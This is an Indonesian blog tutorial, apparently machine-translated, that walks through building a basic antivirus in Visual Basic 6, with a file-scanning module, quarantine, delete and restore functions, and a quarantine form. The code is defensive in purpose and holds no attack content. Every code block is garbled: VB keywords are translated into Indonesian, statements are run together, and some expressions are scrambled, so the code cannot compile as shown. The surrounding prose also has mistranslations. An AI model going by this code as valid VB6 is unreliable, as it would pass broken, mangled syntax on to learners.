<span style="background-color: black; color: white;">buat 1 modul DENGAN Nama modScanning</span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan kode di hari lalu bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />jumlahDir Publik As Long, jumlahFile As Long, jumlahVirus As Long<br />StopScan Publik Sebagai Boolean Public Function CekVirus (FilePath As String) As String CekVirus = "" Untuk i = 1 Untuk UBound (VirusDB) GetChecksum Jika Split (FilePath) = ( VirusDB (i), "|")( 1) Kemudian CekVirus = VirusDB (i) Keluar Fungsi End If Berikutnya Jika FileLen (FilePath) / 1024 <= 512 Kemudian CekVirus = CekHeuristic (FilePath) End If End Sub Public Function FindFilesEx (ByVal lpFolderName As String, ByVal subdirs Sebagai Boolean) Dim i Sebagai hSearch Dim Panjang As Long, WFD Sebagai Hasil As Long Dim WIN32_FIND_DATA, CurItem As String Dim tempDir () As String, dirCount Sebagai realpath Long As String Dim, GetViri As String GetViri = " "dirCount = -1 ScanInfo =" File Scan "Jika Benar $ (lpFolderName, 1) =" \ "Lalu realpath = lpFolderName Lain realpath = lpFolderName &" \ "End If hSearch = FindFirstFile (realpath &" * ", WFD) Jika Tidak hSearch = INVALID_HANDLE_VALUE Lalu Result = True Apakah Sementara DoEvents Hasil Jika StopScan = Benar Kemudian Keluar Apakah CurItem = StripNulls (WFD.cFileName) Jika Tidak CurItem = "." Dan Tidak CurItem = ".." Kemudian Jika PathIsDirectory (realpath & CurItem) <> 0 Then jumlahDir = jumlahDir + 1 frmUtama.lblDirScan.Caption = jumlahDir Jika subdirs = Benar Kemudian dirCount = dirCount + 1ReDim Preserve tempDir (dirCount) As String tempDir (dirCount) = realpath & CurItem End If Lain jumlahFile = jumlahFile + 1frmUtama.lblFileScan.Caption = jumlahFilefrmUtama.txtFileScan.Text = realpath & CurItemfrmUtama.txtFileScan.SelStart = Len (frmUtama.txtFileScan.Text)Jika WFD.nFileSizeLow> 5120 Atau WFD.nFileSizeHigh> 5120 KemudianGetViri = CekVirus (realpath & CurItem) Jika GetViri <> "" LaluAddDetect frmUtama.lvScan, realpath & CurItem, GetVirijumlahVirus = jumlahVirus + 1 frmUtama.lblFileDet.Caption = jumlahVirus End If End If End If End If Hasil = FindNextFile ( hSearch, WFD) loop FindClose hSearch Jika subdirs = Benar Kemudian Jika dirCount <> -1 Then Untuk i = 0 Untuk dirCountFindFilesEx tempDir (i), True Next i End If End If End If End Sub<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas adalah kode UNTUK memindai file & folder PADA antivirus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">buat 1 modul DENGAN Nama modEtc</span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode di bawah ini</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Fungsi Aksi Masyarakat (Data As String, TheLV Sebagai ListView, Mode As String)<br />Dim Filedata () As String<br />Dim fname, tmp, Status As String<br />Dim y As Integer<br />= Filedata split (Data, "|")<br />Untuk i = 1 Untuk UBound (Filedata)<br />a = a + 1<br />Jika Mode = "Q" Lalu<br />fname = GetFileName (Filedata (i))<br />EncodeFile Filedata (i), AppPath & "\ Karantina" & Left $ (fname, Len (fname) - len (GetExt (Filedata (i)))) & "avq."<br />AddQList TheLV, Filedata (i), Kiri $ (fname, Len (fname) - Len (GetExt (Filedata (i)))) & ". avq"<br />DeleteFile Filedata (i)<br />Status = "Di Karantina"<br />ElseIf Mode = "D" Lalu<br />DeleteFile Filedata (i)<br />Status = "Di Hapus"<br />End If<br />y = GetIndex (TheLV, Filedata (i))<br />Dengan TheLV.ListItems.Item (y )<br />. subitems (3) = Status<br />Checked =. Salah<br />. SmallIcon = frmUtama.ImgSmall.ListImages (2). Indeks<br />Akhir Dengan<br />Berikutnya<br />Action = a<br />End Function Fungsi Umum AddQList (TheLV Sebagai ListView, FilePath As String, Source As String) Dim Dat As String = Dat AppPath & "Karantina \ HN.dat" Jika PathFileExists (Dat) <> 0 Then Dat Terbuka Untuk Input Seperti # 1 input # 1, isi Tutup # 1DeleteFile Dat Lain isi = "" End If namavir = TheLV ListItems (GetIndex (TheLV, FilePath)). Jika InStrRev (isi, Source,, vbTextCompare) = 0 Kemudian Dat Terbuka Untuk Output Seperti # 2Print # 2, isi & "|" "?" & namavir & & FilePath & "?" <span class="">& Sumber</span><span class="">Tutup # 2 </span><span class="">Lain </span><span class="">Dat Terbuka Untuk Output Sebagai # 3 </span><span class="">Print # 3, isi </span><span class="">Tutup # 3 </span><span class="">End If </span><span class="">End Function </span><span class="">Function GetFileName Publik (PathFile As String) As String </span><span class="">Dim i As Long </span><span class="">Dim As Long DirString </span><span class="">Untuk i = 1 Untuk Len ( PathFile) </span><span class="">Jika Mid $ (PathFile, i, 1) = "\" Lalu DirString = i </span><span class="">Next i </span><span class="">GetFileName = Kanan $ (PathFile, Len (PathFile) - DirString) </span><span class="">End Function </span><span class="">Fungsi GetExt Publik (lpFileName ByVal As String) </span><span class="">Dim Stemp String </span><span class="">Dim i As Long </span><span class="">Stemp = GetFileName (lpFileName) </span><span class="">Jika InStr (lpFileName, ".") Lalu </span><span class="">Untuk i = 0 Untuk Len (Stemp) - 1 </span><span class="">Jika Mid $ (Stemp, Len (Stemp) - i, 1) = ". " </span>Kemudian GetExt = Mid $ (Stemp, Len (Stemp) - i, i) Keluar Fungsi End If Next i End If End Function<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas adalah kumpulan Fungsi dll UNTUK pemindaian, Karantina, menghapus</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Ini adalah antivirus Tampilan setelah di berikan modul</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoVHFKl4quE0bPHeKfn_537Wz1TfD0gtTwRZzAo0xUFWrnXTtL7NFrmAa4xwYVgdkQAhdpU78B5kK3oW1MTfIVoZztbxF7xoJFZXs-6oC50qVBNltx8sH96GpS_SgFPt5S1nEW5mbxfLOX/s1600/module.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoVHFKl4quE0bPHeKfn_537Wz1TfD0gtTwRZzAo0xUFWrnXTtL7NFrmAa4xwYVgdkQAhdpU78B5kK3oW1MTfIVoZztbxF7xoJFZXs-6oC50qVBNltx8sH96GpS_SgFPt5S1nEW5mbxfLOX/s400/module.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">SEKARANG Tinggal cara mem <span class="highlight" style="padding-left: 0px; padding-right: 0px;">buat</span> bentuk quarantinenya,</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">caranya adalah sebagai berikut PADA gambar berikut</span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNQu0CZYK8TCBOcleRkN2GtD-XyDXXg2S8lXDmdX0iYkDUb35AHiQDvF7nZLDladR6vE9yotSEyHN2zBLgu_CDLLdUfoPqC6ZOo3arNYbAPZlB-b8wh9a0MIMf7B40abGOLrYtt6PPyk0S/s1600/form1.bmp" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNQu0CZYK8TCBOcleRkN2GtD-XyDXXg2S8lXDmdX0iYkDUb35AHiQDvF7nZLDladR6vE9yotSEyHN2zBLgu_CDLLdUfoPqC6ZOo3arNYbAPZlB-b8wh9a0MIMf7B40abGOLrYtt6PPyk0S/s400/form1.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8kazhvqSz8UzFhr6a430yJCyh3EkNi-51jW5ey-XQJ96VrlG7sBffS2O9nKo-2rE825AVYgHY0mIYTqCf3E9Y-yxRf0AY5_Cbo8FHzU5dQaA8uPvUuLofGQlhW2eNv9GAib_pLc8RTyUZ/s1600/from2.bmp" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8kazhvqSz8UzFhr6a430yJCyh3EkNi-51jW5ey-XQJ96VrlG7sBffS2O9nKo-2rE825AVYgHY0mIYTqCf3E9Y-yxRf0AY5_Cbo8FHzU5dQaA8uPvUuLofGQlhW2eNv9GAib_pLc8RTyUZ/s400/from2.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a><div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKMobWO5S_eaoJyzlWjyRhcongpviFhZwbwRsARWUsDhBObTw1bjZOdTOQyNmzKECS1QoR1wUun-D3Z_TdTkUAWBelbKyXnNRZWw02atNFmhEI34_e6E21Hf7C7RYNDo8BgJFgF-fdM9J/s1600/form3.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKMobWO5S_eaoJyzlWjyRhcongpviFhZwbwRsARWUsDhBObTw1bjZOdTOQyNmzKECS1QoR1wUun-D3Z_TdTkUAWBelbKyXnNRZWw02atNFmhEI34_e6E21Hf7C7RYNDo8BgJFgF-fdM9J/s400/form3.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8kazhvqSz8UzFhr6a430yJCyh3EkNi-51jW5ey-XQJ96VrlG7sBffS2O9nKo-2rE825AVYgHY0mIYTqCf3E9Y-yxRf0AY5_Cbo8FHzU5dQaA8uPvUuLofGQlhW2eNv9GAib_pLc8RTyUZ/s1600/from2.bmp" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><br /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">setelah bentuk baru Sudah di buat, hari lalu rubah menjadi frmQuarantine Nama formnya</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambah 1 buah ListView DENGAN LVQ Nama</span></div>
<div>
<span style="background-color: black; color: white;">pengaturan hari lalu ListView tersebut Sesuai gambar di bawah DENGAN ini, cara setting ListView Sudah tertera diatas.</span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6UIl76jiSaGiPlfs5jmalSkftwYPgLloUCp-EgG28qFBNxfScgyraZr7QVv_50dzONterLmS6OdCU87l-HORLCtC95WwSPR8UNBb23GgPSKYmsFSpbUv-Hu-WdAKaWbwQ9npGsEqbpZ2/s1600/gambar4.jpg" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI6UIl76jiSaGiPlfs5jmalSkftwYPgLloUCp-EgG28qFBNxfScgyraZr7QVv_50dzONterLmS6OdCU87l-HORLCtC95WwSPR8UNBb23GgPSKYmsFSpbUv-Hu-WdAKaWbwQ9npGsEqbpZ2/s400/gambar4.jpg" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan 3 buah tombol Command DENGAN Nama</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">- cmdDelete</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">- cmdRestore</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">- cmdRestore (1)</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Tambahkan kode di bawah ini ke Dalam, Komando [cmdDelete]</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Jika lvQ.ListItems.Count = 0 Then Exit Sub<br />Dim data () As String<br />Jika PathFileExists (Dat) <> 0 Then<br />Dat Terbuka Untuk Input Seperti # 1<br />input # 1, isi<br />Tutup # 1<br />DeleteFile Dat<br />Lain<br />isi = " "<br />End If<br />data = Split (isi, "|")<br />Untuk i = 1 Untuk UBound (Data)<br />namafile = lvQ.SelectedItem.SubItems (2)<br />Jika namafile <> split (Data (i), "?")( 1) Kemudian<br />NYU = NYU & "|" & Data (i)<br />End If<br />Berikutnya<br />DeleteFile AppPath & "Karantina \" & lvQ.SelectedItem.SubItems (1)<br />Buka Dat Untuk Output Seperti # 2<br />Print # 2, NYU<br />Tutup # 2<br />MsgBox "Sukses Menghapus Berkas !!!", vbInformation, ""<br />UpdateQ<br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Kode di Atas Menghapus file yang berfungsi UNTUK Yang Telah di Karantina</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode di bawah ini ke Komando [cmdRestore]</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />Jika lvQ.ListItems.Count = 0 Then Exit Sub<br />Indeks Kasus Pilih<br />Kasus 0<br />DecodeFile AppPath & "Karantina \" & lvQ.SelectedItem.SubItems (1), lvQ.SelectedItem.SubItems (2)<br />MsgBox "File Dikembalikan ke" & Chr (34) & lvQ.SelectedItem.SubItems (2) & Chr (34) & "vbInformation !!!",," "<br />Kasus 1<br />sTitle = "jalan Pilih:" & vbNewLine & "Pilih jalur untuk mengembalikan file."<br />ThePath = BrowseFolder (sTitle, Me)<br />Jika ThePath <> "" Lalu<br />DecodeFile AppPath & "\ Karantina" & lvQ.SelectedItem.SubItems (1), ThePath & GetFileName (lvQ.SelectedItem.SubItems (2))<br />MsgBox "File Dikembalikan ke "& Chr (34) & ThePath & GetFileName (lvQ.SelectedItem.SubItems (2)) & Chr (34) &" vbInformation !!!",, ""<br />End If<br />End Select<br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Fungsi kode di Atas Berguna UNTUK saya mengembalikan file Kembali Ke asalnya.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">PADA hari lalu Form_Load () Tambahkan kode di bawah ini.</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">'Kode:<br />frmUtama.Enabled = False<br />Dat = AppPath & "Karantina \ HN.dat"<br />UpdateQ<br /></span></span></div>
</div>
</div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Masukan kode di bawah ini ke Dalam, Yang Telah frmQuarantine ANDA buat tadi.</span></div>
<div style="margin-bottom: 20px; margin-left: 20px; margin-right: 20px; margin-top: 5px;">
<div class="smallfont" style="margin-bottom: 2px;">
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><b>Spoiler</b> : <input style="font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: 55px;" type="button" value="Buka" /></span></span></div>
<div class="alt2" style="border-bottom-style: inset; border-bottom-width: 1px; border-color: initial; border-left-style: inset; border-left-width: 1px; border-right-style: inset; border-right-width: 1px; border-top-style: inset; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;">
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><span class="">'Kode: </span><br /><span class="">Dat Dim As String </span><br /><span class="">Private Sub UpdateQ () </span><br /><span class="">lvQ.ListItems.Clear </span><br /><span class="">Dim data () As String </span><br /><span class="">Jika PathFileExists (Dat) = 0 Kemudian Keluar Sub </span><br /><span class="">Dat Terbuka Untuk Input Seperti # 1 </span><br /><span class="">input # 1, isi </span><br /><span class="">Tutup # 1 </span><br /><span class="">data = split (isi, "|") </span><br /><span class="">Untuk i = 1 Untuk UBound (Data) </span><br /><span class="">Dengan lvQ.ListItems.Add (,, Split (Data (i), "?")( 0)) </span><br /><span class="">. subitems (1) = Split (data (i), "?")( 2) </span><br /><span class="">subitems. (2) = split (Data (i), "?")( 1) </span><br /><span class="">Akhir Dengan </span><br /><span class="">Berikutnya </span><br /><span class="">Me.Caption = "Karantina (" & lvQ.ListItems.Count & " ) " </span><br /><span class="">End Sub</span><br /></span></span></div>
</div>
</div>
<div>
<span style="background-color: black; color: white;">Berfungsi UNTUK memanggil data yang ada di folder Yang Karantina.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">Hanya ilmu ITU Yang Bisa Saya Bagikan. Kita Bukan Hanya SEKARANG sebagai Pemakai atau pengguna sekrang Kita Sudah Bisa mmembuat antivirus.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span style="background-color: black; color: white;">murah ini adalah antivirus Screenshot Yang Kita buat tadi SAAT melakukan pemindaian.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div class="separator" style="clear: both;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-MLW-YW8NThJmz4USz9ss0Q-czJtjrtoqnNaMo7PsxnUzte9RiIbhF-qhj63ik6tbAQuaLiqwlzSwyocdqcq6JjEyfBd39SPqS4a-iEOBvNFvYn8C2Zzyna-QjfAYwGI_XcLePEIy9FIJ/s1600/finish.bmp" imageanchor="1" style="background-color: black; font-style: italic; margin-left: 1em; margin-right: 1em; outline-color: initial; outline-style: none; outline-width: initial;"><span class="Apple-style-span" style="color: white;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-MLW-YW8NThJmz4USz9ss0Q-czJtjrtoqnNaMo7PsxnUzte9RiIbhF-qhj63ik6tbAQuaLiqwlzSwyocdqcq6JjEyfBd39SPqS4a-iEOBvNFvYn8C2Zzyna-QjfAYwGI_XcLePEIy9FIJ/s400/finish.bmp" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 4px; margin-left: 0px; margin-right: 4px; margin-top: 0px; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px;" width="400" /></span></a></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">Catatan:. Jika ANDA DENGAN Mencoba membaca murah murah teliti seksama ANDA pasti berhasil Orang Yang berhasil adalah Orang Yang BANYAK mecoba.<br /><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
<span class="" style="background-color: black; color: white;">Masalah UNTUK ANDA Bisa kode sumber meminta Kepada Saya trus DENGAN Satu syarat, yaitu ANDA Harus menyertakan Bukti bahwa ANDA Telah Mencoba entah ITU Dalam, Bentuk screenshot atau Yang lainnya.</span></div>
<div>
<span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"><br /></span></span></div>
<div>
